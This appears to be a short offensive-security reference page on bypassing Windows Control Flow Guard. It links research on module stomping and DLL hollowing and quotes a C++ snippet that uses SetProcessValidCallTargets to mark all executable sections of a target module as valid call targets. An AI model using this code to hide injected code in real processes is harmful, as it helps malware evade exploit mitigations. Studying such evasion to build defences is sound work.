CFG

Control Flow Guard

• [PDF] Bypass Control Flow Guard Comprehensively (Zhang Yunhai)

• https://habr.com/ru/companies/dsec/articles/305960/

CFG Bypasses for Module Stomping

Patch

• https://www.secforce.com/blog/dll-hollowing-a-deep-dive-into-a-stealthier-memory-allocation-variant/

Mark as Valid (SetProcessValidCallTargets)

• https://www.fortinet.com/blog/threat-research/documenting-the-undocumented-adding-cfg-exceptions

• https://github.com/Crypt0s/Ekko_CFG_Bypass/blob/main/Ekko_CFG_Bypass/CFG.c#L8-L39

• https://github.com/Crypt0s/Ekko_CFG_Bypass/blob/main/Ekko_CFG_Bypass/CFG.c#L41-L86

• https://github.com/BreakingMalwareResearch/CFGExceptions/blob/master/CFGExceptions/main.cpp

• https://blog.f-secure.com/hiding-malicious-code-with-module-stomping/

• https://github.com/WithSecureLabs/ModuleStomping/blob/master/injectionUtils/moduleManipulation.cpp#L231-L239

Mark everything in the target module as valid:

void markCFGValid(unsigned long long ptrToMarkValid)
{
    CFG_CALL_TARGET_INFO info;
    info.Flags = CFG_CALL_TARGET_VALID;
    info.Offset = ptrToMarkValid;

    if (!SetProcessValidCallTargets_(targetProcess, targetModuleBase, sizeOfImage, 1, &info))
        throw std::exception("SetProcessValidCallTargets failed");
}

if (srcSect.Characteristics & IMAGE_SCN_MEM_EXECUTE)
    for (unsigned int n = 0; n < srcSect.VirtualSize; n += 16)
        targetModule.markCFGValid(n);